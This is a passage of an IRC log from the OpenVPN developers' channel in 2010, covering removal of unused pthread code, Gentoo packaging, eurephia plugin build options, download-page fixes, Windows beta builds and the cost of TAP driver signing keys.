[~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 19:27 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has quit [Ping timeout: 276 seconds] 19:28 -!- d12fk [~heiko@vpn.astaro.de] has joined #openvpn-devel 19:29 -!- mode/#openvpn-devel [+o d12fk] by ChanServ --- Day changed Sun Aug 29 2010 02:59 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 03:05 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 03:52 <@cron2> ecrist: that is something we can discuss for 3.0 (and I'm not sure it makes sense, as you do not really want 3000 threads and the assorted management and locking overhead) - for 2.x, this is not something we can implement 03:53 <@cron2> 2.x has some groundwork for "one thread for crypto, one thread for the rest" but it doesn't work yet - and dazo just posted a patch to rip this all out 04:08 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 04:34 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 04:34 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:56 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 05:02 -!- krzee [~k@unaffiliated/krzee] has quit [Quit: Leaving] 05:02 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 06:09 -!- mape2k [~mape2k@2a01:198:23f:10ff:9031:81ff:fe5c:8d94] has joined #openvpn-devel 07:28 -!- mape2k [~mape2k@2a01:198:23f:10ff:9031:81ff:fe5c:8d94] has quit [Ping timeout: 252 seconds] 09:41 -!- mape2k [~mape2k@2a01:198:23f:10ff:6c8d:4dff:fec7:7957] has joined #openvpn-devel 10:04 -!- mape2k [~mape2k@2a01:198:23f:10ff:6c8d:4dff:fec7:7957] has quit [Read error: Operation timed out] 12:59 -!- djc [~djc@gentoo/developer/djc] has joined #openvpn-devel 12:59 < djc> dazo_afk: https://bugs.gentoo.org/show_bug.cgi?id=332991#c5 12:59 < vpnHelper> Title: Gentoo Bug 332991 - net-misc/openvpn-2.1.0 fails to reconnect if down-root plugin is being used (at bugs.gentoo.org) 13:22 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:22 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:33 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 14:12 < krzee> hey james =] 14:25 -!- krzee [~k@unaffiliated/krzee] has quit [Quit: Leaving] 15:16 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 15:17 < ecrist> cron2: it may not, my suggestion may be a bit over-simplistic, but it's a simply way to scale across 3000 processors. ;) 15:18 <@cron2> ecrist: that's true :-) - but for starters, I'd be happy with scaling to 2-4 cores. 15:19 < ecrist> indeed 16:14 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 17:25 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel --- Day changed Mon Aug 30 2010 01:48 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:48 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:12 -!- krzie [~k@unaffiliated/krzee] has joined #openvpn-devel 02:42 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 03:32 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 04:37 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 04:38 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 04:57 -!- dazo_afk is now known as dazo 04:58 <@dazo> cron2: the threading stuff seems to be very tricky ... at least how the previous attempt (which I suggest to throw out now) was done 04:59 <@dazo> ecrist: performance wise, you loose a lot when threading each connection separately ... You should ideally never have more threads than you have CPU cores - at least when all of the threads needs to work hard in parallel 05:02 <@dazo> cron2: further, after having seen some performance profiling from JJK ... encryption and context switching (kernel<->user space) did not flag up as the high resource killer ... I don't recall exactly what it was now, but I remember being surprised not seeing those two high up on the list 05:16 <@dazo> djc: thx for the notification! I've responded ... I'll see how this patch looks and applies to the -testing tree ... and if badly, I'll try to track down the original writer of this patch 05:17 <@dazo> if it applies cleanly, I'll send it to the mailing list for review 05:25 < djc> dazo: perfect, thanks :) 05:25 < djc> btw we now have 2.1.0 in the stable branches on gentoo 05:25 < djc> and 2.1.2 in unstable 05:44 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 06:28 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 06:33 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 07:01 <@dazo> djc: cool! Don't bother about 2.1.3 ... that's a pure rebuild to make Windows users happy ... it's identical to 2.1.2 code wise 07:02 <@dazo> djc: have you given any thoughts regarding a 2.2 beta? would it be possible to add a separate ebuild for that? 09:18 < djc> it's certainly possible, but unless it comes with cool features that I could use personally, I'm not sure I want to invest the extra effort 09:20 <@dazo> djc: I'm willin to help out to share that load ... I'm running a couple of Gentoo servers in prod myself, and I am already running 2.2-beta there now 09:22 < djc> okay, in that case ;) 09:23 < djc> not sure if we should put it in the unstable tree or mask it or something 09:23 <@dazo> djc: but what's actually even more interesting in the long run is to have some possibility to spread the openvpn-testing/allmerged version ... we're having bi-weekly snapshots built ... that includes more goodies which needs more testing ... like a complete IPv6 stack ... the IPv6 patch in Gentoo now only enables IPv6 transport (listen/connect to IPv6 addresses) but lacks IPv6 payload (IPv6 traffic inside the tunnel, esp. on tun devices) 09:24 <@dazo> (the -testing version is mainly for people willing to test out bleeding edge code ... I hope there are some daring people among the Gentooers ;-) 09:24 <@dazo> and the only thing we guarantee with the snapshots is that it compiles :) 09:25 < djc> okay, well, I don't want to support a 9999 ebuild for now 09:26 < djc> maybe in a while if I get more comfortable with the pkg 09:26 <@dazo> sure 09:27 <@dazo> anyway, the beta would be a good starter? ... as if everything goes fine, we want to try to have a release before the end of this year 09:27 <@dazo> but it depends on the testing and how it works out 09:28 < djc> right 09:28 < djc> is 2.2 supposed to be a shorter release cycle than 2.1? :P 09:29 <@dazo> I sure hope so!!! I am going to make a lot of noise if we're going too long with 2.2 beta and RC candidates 09:30 < djc> 2.1 was pretty ugly 09:30 <@dazo> yes, indeed! 09:33 < djc> maybe you should start by setting up an openvpn overlay 09:33 <@dazo> we can sure try to do that 09:33 <@dazo> mattock: can we use build.openvpn.net for a Gentoo overlay? 09:34 <@dazo> djc: any good pointers on how to setup that? 09:36 < djc> it's easy 09:37 < djc> you just copy the ebuild directory from the portage tree into a vcs repo in a net-misc/openvpn dir 09:37 < djc> then you could add a repo_name file 09:39 <@dazo> ahh ... I'll look into this ... it's a bit hectic these days, but I'll do my best to help out with this 09:40 < djc> okay, well, definitely look into doing an overlay 09:41 <@dazo> will do for sure! 09:41 < djc> that's easy and makes more sense than putting experimental stuff in the portage tree IMO 09:41 <@dazo> if we can host the overlay from openvpn.net, then we would have the best starting point 09:42 <@dazo> agreed! I didn't think about that ... and we'll put the the beta and -testing version there then ... the rest is promotion of this overlay, I presume 09:42 < djc> exactly :) 10:07 -!- krzee [~k@unaffiliated/krzee] has quit [Quit: Leaving] 10:15 -!- dazo is now known as dazo_afk 10:15 -!- dazo_afk is now known as dazo 10:20 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 10:23 <@dazo> djc: btw! I've updated with a new eurephia patch for OpenVPN 2.1.2/2.1.3 ... 2.1.0 applies, but with some offset fuzz ... so this is fixed now 10:48 < ecrist> dazo: if you send me information about urephia, and what I need to do to get it installed, I'll add it to the freebsd ports 10:48 < ecrist> as an option 11:05 <@dazo> ecrist: you mean the eurephia enabled OpenVPN (OpenVPN 2.1 + eurephia patch) .... or the eurephia plug-in? 11:06 <@dazo> (the eurephia path is already in OpenVPN 2.2 beta and allmerged ... and this patch is needed for the plug-in) 11:07 <@dazo> ecrist: the "how to compile eurephia" is described here ... http://www.eurephia.net/documentation/eurephia/1.0/html/Administrators_Tutorial_and_Manual/chap_compiling_eurephia.html 11:08 < vpnHelper> Title: 3.3. Compiling eurephia (at www.eurephia.net) 11:08 * dazo digs up the ./configure args used for Gentoo and Fedora builds 11:10 <@dazo> ./configure --prefix /usr --plug-in --openvpn-src . --db-sqlite3 --sqlite3-path /var/lib/eurephia --eurephiadm --eurephiadm-xslt /usr/share/eurephia/xslt/eurephiadm 11:10 < ecrist> dazo: I mean to include the plugin as an option. 11:11 < ecrist> I'll probably poke it a bit this week. 11:12 <@dazo> ecrist: that sounds awesome if you are willing to do that! If you get it up'n'running, I'll update the documentation for distribution installs, and get FreeBSD included 11:34 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 12:17 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Ping timeout: 252 seconds] 12:48 -!- dazo is now known as dazo_afk 12:52 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:52 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:26 -!- krzie [~k@unaffiliated/krzee] has quit [Ping timeout: 252 seconds] 13:33 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 14:32 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 17:23 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel --- Day changed Tue Aug 31 2010 00:36 -!- mattock [~samuli@dsl-hkibrasgw1-fe2af900-117.dhcp.inet.fi] has joined #openvpn-devel 00:36 -!- mode/#openvpn-devel [+o mattock] by ChanServ 00:42 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 01:28 <@mattock> dazo_afk: build + gentoo overlay: no problem 01:49 -!- ScriptFanix [vincent@hanaman.riquer.fr] has quit [Read error: Operation timed out] 01:52 -!- ScriptFanix [vincent@hanaman.riquer.fr] has joined #openvpn-devel 02:07 -!- mattock [~samuli@dsl-hkibrasgw1-fe2af900-117.dhcp.inet.fi] has quit [Ping timeout: 240 seconds] 02:21 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 02:49 -!- dazo_afk is now known as dazo 06:51 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 09:54 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 10:27 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 240 seconds] 10:29 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 12:07 -!- dazo is now known as dazo_afk 13:45 -!- mattock [~samuli@dsl-hkibrasgw1-fe2af900-117.dhcp.inet.fi] has joined #openvpn-devel 13:45 -!- mode/#openvpn-devel [+o mattock] by ChanServ 13:47 -!- WinstonSmith [~true@f052096162.adsl.alicedsl.de] has joined #openvpn-devel 13:50 < WinstonSmith> hi ppl :) since this is -devel is it okay to ask a openvpn gateway related question? 13:52 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:52 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:53 < ecrist> WinstonSmith: ##openvpn is the user channel 13:53 < ecrist> this is for development. 13:54 < WinstonSmith> ecrist, ok thx have anice day 13:54 -!- WinstonSmith [~true@f052096162.adsl.alicedsl.de] has left #openvpn-devel ["Ex-Chat"] 14:33 -!- mattock [~samuli@dsl-hkibrasgw1-fe2af900-117.dhcp.inet.fi] has quit [Quit: Leaving.] 14:33 -!- mattock [~samuli@dsl-hkibrasgw1-fe2af900-117.dhcp.inet.fi] has joined #openvpn-devel 14:33 -!- mode/#openvpn-devel [+o mattock] by ChanServ 15:09 -!- mattock [~samuli@dsl-hkibrasgw1-fe2af900-117.dhcp.inet.fi] has quit [Ping timeout: 265 seconds] 16:56 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Ping timeout: 252 seconds] --- Day changed Wed Sep 01 2010 00:41 -!- krzee [~k@unaffiliated/krzee] has quit [Read error: Operation timed out] 00:51 -!- darkwind [~bpayne@rrcs-70-61-50-54.central.biz.rr.com] has quit [Ping timeout: 240 seconds] 00:53 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 00:53 -!- darkwind [~bpayne@rrcs-70-61-50-54.central.biz.rr.com] has joined #openvpn-devel 02:13 -!- dazo_afk is now known as dazo 03:14 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 04:51 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 05:07 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 240 seconds] 05:12 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 05:44 -!- ScriptFanix [vincent@hanaman.riquer.fr] has quit [Quit: ca va trancher] 06:26 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Ping timeout: 276 seconds] 07:05 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 08:01 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 09:12 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 11:08 <@cron2> so what's the state of affairs regarding 2.2-beta3? have we released anything yet? 11:08 * cron2 wonders whether we'll be in the timeframe for the 2.3 beta cycle already when we finally get 2.2-beta473 out of the door 11:14 <@dazo> cron2: very good question ... I think we're waiting for james doing the windows build 11:14 <@dazo> but if we got access to "our" new windows build box ourselves, we might be able to get it done quicker ... 11:15 <@cron2> I wonder whether James will give "us" access to the signing key 11:15 <@cron2> (there's good reasons for not doing so, but then the build box won't help very much for "formal releases") 11:16 <@dazo> yeah ... maybe we can get our own signing key? (unless they cost half-a-fortune or there about) 11:17 <@cron2> might be an idea (but I have no idea how big the fortune is) 11:31 -!- dazo is now known as dazo_afk 12:45 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 13:56 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:56 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:07 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 15:08 -!- krzie [~k@unaffiliated/krzee] has joined #openvpn-devel 15:08 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 240 seconds] 16:13 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 16:37 -!- waldner [~waldner@unaffiliated/waldner] has quit [Ping timeout: 260 seconds] 16:37 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 16:37 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 16:37 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel --- Log closed Wed Sep 01 18:03:00 2010 --- Log opened Thu Sep 02 07:13:17 2010 07:13 -!- ecrist [~ecrist@pdpc/supporter/professional/ecrist] has joined #openvpn-devel 07:13 -!- Irssi: #openvpn-devel: Total of 15 nicks [4 ops, 0 halfops, 0 voices, 11 normal] 07:13 -!- Irssi: Join to #openvpn-devel was synced in 35 secs 07:15 -!- vpnHelper [~vpn@unaffiliated/krzee/bot/vpnhelper] has joined #openvpn-devel 07:15 < vpnHelper> RSS Update - tickets: #47: retry with multiple IP hostname fails 07:36 <@dazo> ecrist: Morning! what's the response you've noticed on IRC and in the forums in regards to 2.1.3? Quiet/Silent? ... or have people had some issues with it? 07:37 < ecrist> dazo: the little I have seen from people is that it solved the driver signing issue 07:37 < ecrist> I've seen very little about it, though 07:37 <@dazo> I'll interpret that as a confirmation that it works as expected 07:38 < ecrist> sounds reasonable to me 09:15 -!- krzie is now known as krzee 09:30 -!- dazo is now known as dazo_afk 09:36 -!- dazo_afk is now known as dazo 10:32 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 11:02 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 11:14 * dazo logs out now, will be back right before the meeting 11:15 -!- dazo is now known as dazo_afk 12:49 -!- mattock [~samuli@dsl-hkibrasgw1-fe2af900-117.dhcp.inet.fi] has joined #openvpn-devel 12:49 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:50 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 12:57 <@mattock> ... 13:00 <@cron2> hah, on time 13:01 <@mattock> yep 13:01 <@mattock> topic list: https://community.openvpn.net/openvpn/wiki/Topics-2010-09-02 13:01 < vpnHelper> Title: Topics-2010-09-02 – OpenVPN Community (at community.openvpn.net) 13:02 <@cron2> mattock: could you add "testing" to it? 13:02 <@mattock> does any of those topics need James? 13:02 <@mattock> cron2: what do you mean exactly? 13:03 <@cron2> someone mentioned a dedicated "openvpm testing server" VM, that could be used as default for t_client.rc in "make check" 13:03 <@mattock> oh yes 13:03 <@mattock> so somebody volunteered to offer a VM for us? 13:03 <@cron2> I think the thread cleanup stuff could benefit from James' attendance 13:04 <@cron2> mattock: I think raidz mentioned that you had something in the company (if I remember that right) 13:04 <@mattock> ok, I'll mail him then 13:04 <@cron2> or an old box, or something 13:04 <@mattock> ok, we probably have something ... does not need to be fancy I guess 13:04 -!- dazo_afk is now known as dazo 13:06 <@dazo> Sorry I'm late 13:06 * dazo forgot about time a little bit 13:11 <@mattock> no probs, just sent mail to james... asking if he could come here and give your patch and ACK/NACK 13:11 <@dazo> :) 13:11 <@mattock> he's been pretty active in the IRC lately, so I don't want to push him too much :) 13:12 <@mattock> ok, shall we begin 13:12 <@mattock> ? 13:12 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2010-09-02 13:12 < vpnHelper> Title: Topics-2010-09-02 – OpenVPN Community (at community.openvpn.net) 13:12 <@dazo> shoot 13:12 <@cron2> ouch 13:12 <@dazo> heh 13:13 <@dazo> cron2: deflectors ... you need deflectors! 13:13 <@mattock> one topic not on the agenda... just received this mail: 13:13 <@mattock> "I have a XEN VPS in Seattle Washington that is dormat and has the ability to move 5.6tb a month (each way), could the project use a mirror or some other use for it? I t has 2 X 3.0 cpu and 1gig ram and 90+ gigs storage." 13:13 <@dazo> wow! 13:14 <@dazo> that could sounds like a candidate for a test server for us ... to use with cron2's test script 13:14 <@mattock> I guess we could use that... the guy says he's active on -devel list... and I've seen his email address somewhere 13:14 <@dazo> maybe some backup storage as well 13:14 <@cron2> backup + test server or so, sounds useful 13:15 <@dazo> we should also think about backing up stuff on sf.net regularly as well 13:15 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:15 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:15 <@mattock> dazo: yes, good idea... 13:15 <@mattock> I can do SF.net backup, I got scripts ready 13:16 <@mattock> hi james! 13:16 <@dazo> cool! 13:16 <@jamesyonan> hi 13:16 <@dazo> \o/ 13:16 <@mattock> I'll put that to my long TODO list 13:16 <@mattock> what if we discuss the pthread patch first? 13:16 <@mattock> =now 13:16 <@dazo> good idea! 13:17 <@dazo> I was doing some review for JJK OpenVPN cookbook ... and I noticed he still believes OpenVPN 2.1 supports pthread .... 13:17 <@mattock> jamesyonan: what do you think about the patch: http://thread.gmane.org/gmane.network.openvpn.devel/3941 13:17 < vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:17 <@mattock> full topic list here: https://community.openvpn.net/openvpn/wiki/Topics-2010-09-02 13:17 < vpnHelper> Title: Topics-2010-09-02 – OpenVPN Community (at community.openvpn.net) 13:17 <@dazo> so I checked the source code, and found out that the code in the tree was rather useless in the current state ... and didn't even compile 13:18 <@dazo> so therefore, I suggest to rip out this code, as it has not been changed much at all ... and for OpenVPN 3.x we will anyway have to revisit threading, but then probably with a different approach 13:18 <@dazo> that is my motivation for these patches 13:20 <@mattock> sounds reasonable 13:20 <@jamesyonan> yes, this makes sense 13:20 <@dazo> and removing ~1000 lines of code, it cleans up the readability a bit 13:20 <@dazo> thx! I'll take that as an ACK :) 13:21 <@mattock> jamesyonan: was this pthread stuff dazo removed a dead end? 13:22 <@mattock> =could not have been made to work 13:23 <@jamesyonan> mattock: basically yes -- originally the thought was to incorporate more ambitious threading in 2.0, it just turned out to be simpler to run multiple processes instead of multiple threads 13:23 <@cron2> as far as I read the patch, it was some prototype work but far from complete 13:23 <@mattock> ok, then it's good to get rid of it 13:23 <@mattock> especially if there are 1000 lines of it :) 13:24 <@dazo> yeah :) 13:24 <@mattock> jamesyonan: before I forget, we got this: "Openvpn.net "Client software -> Downloads" page confusion" 13:24 <@cron2> dazo: regarding the patch, I think it's fine, I was just unsure regarding the general strategic direction 13:24 <@mattock> ok, so I already made a proposal about changing that page 13:24 <@mattock> which Francis approved 13:25 <@dazo> cron2: I fully understand :) not much to criticise when mainly removing code :) 13:25 <@cron2> oh, well, you could have been over-eager and remove important bits :) (but I didn't see anything) 13:25 <@dazo> mattock: also the front page ... you have direct download links there 13:25 <@dazo> cron2: good point :) 13:25 <@mattock> jamesyonan: can I edit the "Client software -> downloads page" myself and be sure nothing overwrites my modifications? 13:26 <@mattock> or is there some script at work there? 13:26 <@mattock> dazo: lemme check 13:26 <@dazo> I think the front page is the worst confusion 13:26 <@mattock> oh yes, true... 13:27 <@mattock> pretty bad, direct link to the .msi file 13:28 <@dazo> exactly ... and that's been biting IRC, forum and ML 13:28 <@mattock> it would be better if that "Windows Download" link would lead to the "client software -> downloads" page 13:28 <@jamesyonan> The only script-generated page I'm aware of is the community download page 13:28 <@mattock> jamesyonan: ok, I'll change the client downloads page as I proposed 13:28 <@mattock> for those who don't know my proposal: 13:28 <@dazo> mattock: I think the heading really needs to say: Access Server - Client download 13:29 <@dazo> on the front page 13:29 <@dazo> and maybe even a little thing with "Download community version" 13:30 <@mattock> something like this: http://pastie.org/1134328 13:30 <@mattock> if that's ok, I can make the changes next week 13:30 <@mattock> and fix the link on the front page, too 13:31 <@mattock> to point to the full client download list page 13:31 <@jamesyonan> incidentally, we did fix the issue where the Access Server client was not properly importing pkcs12 certs/keys -- this fix will be in the next client build 13:31 <@mattock> neat! 13:32 <@mattock> what do you guys think about the revamped client downloads page? 13:32 <@dazo> mattock: +1 13:32 <@cron2> mattock: looks ok to me, but I wonder about the windows 2000 bit. Didn't James build a separate bundle for w2k and "the rest"? 13:32 <@dazo> the biggest challenge in the community with those who pulls the wrong version is that they don't recognise how to configure the Windows client, compared to the OpenVPN-GUI version 13:32 <@dazo> cron2: good point! 13:33 <@mattock> cron2: yep, got to fix that 13:33 <@cron2> besides this, +1 13:33 <@mattock> ok, good! 13:33 <@mattock> so everybody is fine with the new page -> me fix 13:33 <@dazo> \o/ 13:34 <@mattock> jamesyonan: got a proposal from a guy today: "I have a XEN VPS in Seattle Washington that is dormat and has the ability to move 5.6tb a month (each way), could the project use a mirror or some other use for it? I t has 2 X 3.0 cpu and 1gig ram and 90+ gigs storage." 13:34 <@mattock> if you have any ideas how to use the VM, let me know 13:34 <@jamesyonan> mattock: interesting, though I don't think we're bandwidth constrained right now 13:34 <@mattock> one option would be test server for "make test" 13:35 <@mattock> jamesyonan: true, but we're sometimes VM-bound :D 13:35 <@mattock> or constrained 13:35 <@mattock> anyways, I'm sure we find some use for it 13:36 * dazo just pushed out openvpn-historical-cvs.git (code from the old CVS) ... purely for historical purpose 13:36 <@dazo> http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-historical-cvs.git;a=summary 13:36 < vpnHelper> Title: SourceForge - openvpn/openvpn-historical-cvs.git/summary (at openvpn.git.sourceforge.net) 13:37 <@mattock> historical branch, nice! :) 13:38 <@dazo> it's a separate repository, to avoid messing things up completely :) 13:38 <@mattock> ok, shall we move on to 2.1.3 and 2.2-beta3? 13:38 <@dazo> +1 13:38 <@mattock> I believe nobody has had any complaints about 2.1.3? 13:38 <@mattock> I've heard none 13:39 <@dazo> I checked with ecrist today as well, he has also not hear much ... except that it fixes the 2.1.2 issues .... 13:39 <@dazo> that's sounds like a success story to me 13:39 <@mattock> agreed 13:39 <@mattock> so could we release 2.2-beta3, then? 13:40 <@dazo> shall we send out an announcement re: 2.1.3? 13:40 <@mattock> there was something in 2.1.3 that needed to be merged to 2.2-beta branch... but that's taken care of already, right? 13:40 <@dazo> 2.2-beta3 is in proper shape 13:40 <@mattock> dazo: you mean to ask "does 2.1.3 work for you"? 13:41 <@mattock> and 2.2-beta3 windows building? all in order? 13:41 <@dazo> mattock: no, I mean to officially announce that 2.1.3 is now available and solves the issues found in 2.1.2 for Windows users 13:41 <@mattock> hmm, yes... 13:41 <@mattock> good idea, although it has been available for a while now from openvpn.net 13:41 <@dazo> mattock: 2.2-beta3 is up-to-date against 2.1.3 ... so I believe we're still waiting for Windows builds for 2.2-beta3 ... right? 13:42 <@mattock> oh yes, I created a 2.2-beta3 tarball: http://build.openvpn.net/downloads/releases/ 13:42 < vpnHelper> Title: Index of /downloads/releases (at build.openvpn.net) 13:42 <@dazo> :) 13:42 < krzee> sorry im late, was doing support stuffs 13:42 <@mattock> jamesyonan: when can we expect the initial Windows build for 2.2-beta3? 13:42 <@mattock> krzee: nice to have you here! 13:43 < krzee> thx 13:43 <@mattock> regarding Windows build computer... it's in pretty good shape and in the community VPN 13:44 <@mattock> however, last week I started configuring static IPs for the VPN clients but did not finish the job 13:44 <@mattock> next week I'll finish what I started 13:44 <@dazo> cool! 13:44 <@mattock> after that we can start sharing accounts to the WinXP VM 13:44 <@dazo> 2.2-beta4 can be built by the community then ... 13:45 <@jamesyonan> mattock: I'm running the build now -- we'll know in a couple minutes if it works out-of-the-box 13:45 <@mattock> great! 13:45 <@cron2> dazo: signing? 13:45 <@dazo> cron2 and I was thinking about something earlier today ... 13:45 <@dazo> cron2: spot on! 13:45 <@dazo> how do we do it with signing of TAP drivers on the community builds? 13:46 <@mattock> a quick question about static client IP's... is using ccd's the only reliable way to do that? 13:46 <@dazo> we don't see it as reasonable to have the official signing keys for OpenVPN there ... so we're wondering if it's possible to acquire some community signing keys there 13:46 <@dazo> mattock: basically, yes 13:46 <@cron2> mattock: ccd or plugin 13:46 <@jamesyonan> the community builds have a signed TAP driver 13:46 < krzee> mattock, no, client-connect is good too 13:47 <@cron2> jamesyonan: so we just import the TAP driver binary from you? 13:47 <@dazo> but we also do modify the TAP driver as well, from time to time ... cron2 got his IPv6 support patches for the TAP driver in beta2.2 13:47 <@mattock> krzee: I'll look into that, thanks! 13:47 <@cron2> ... and if we need to work on the TAP driver, James need to compile a new set :) 13:48 <@dazo> of course, it's not that often we change that ... yet ... but when people begin to chime in with bugs, we definitely need to look at that 13:48 <@jamesyonan> cron2: yeah, I can provide a directory of pre-built TAP drivers 13:48 <@cron2> coolk 13:48 <@dazo> that's worth a shot to start with ... lets see how that works out! 13:49 <@dazo> jamesyonan: out of curiosity ... what does such a signing key cost? 13:49 <@jamesyonan> ~ $450/year 13:49 <@dazo> per year ... wow .... 13:50 <@mattock> and lots of pain to get through the bureaucracy, I think :) 13:50 <@mattock> if it's "MS approved" 13:50 <@dazo> I see 13:50 <@mattock> jamesyonan: did the build succeed? 13:50 <@dazo> heh 13:51 <@dazo> patience is a virtue :-P 13:51 <@cron2> impatience gets things done :) 13:51 <@jamesyonan> yes, it looks like it succeeded -- just a second and I will push the exe it to a URL 13:51 <@cron2> \o/ 13:51 < krzee> cant we continue using the same driver and just rebuild the rest of it on the VM? 13:51 <@mattock> excellent! 13:51 < krzee> (unless its actually a change to the driver) 13:51 <@mattock> krzee: we should be able to 13:51 <@cron2> krzee: as long as nobody works on the TAP driver... :-) 13:51 <@cron2> (yes) 13:51 <@dazo> krzee: not when we update the TAP code ... cron2 got is IPv6 goodies there 13:52 < krzee> ooooo right 13:52 * krzee parades cron2 on his shoulders 13:52 <@dazo> of course, if cron2 has done his job properly ... he won't need to touch that code again ;-) 13:52 * cron2 hopes 13:52 * dazo hopes too 13:52 * krzee crosses fingers 13:54 <@dazo> jamesyonan: if there were any compiler warnings ... please pass them over so we can have a look at them 13:54 <@jamesyonan> does this build have TAP driver source code changes compared to 2.1.x? 13:54 <@mattock> do we want people on -users ml to test James' build before making the official release? 13:55 <@dazo> jamesyonan: yes, it does 13:55 <@mattock> jamesyonan: yep, cron2's stuff 13:55 <@jamesyonan> dazo: ok, I'll need to tweak the build scripts a bit then 13:55 <@cron2> mattock: no. it's a beta. the whole point is to get people to test the result :-) 13:56 <@dazo> jamesyonan: can you send me a patch ... or mail me the changed files, and I'll make sure they get commited 13:56 <@mattock> oh yes, we decided that earlier :D 13:56 <@jamesyonan> sure 13:56 <@cron2> jamesyonan: we need to bump the version number so the openvpn.exe knows "earlier version that do not have IPv6" 13:57 <@cron2> the current code assumes that 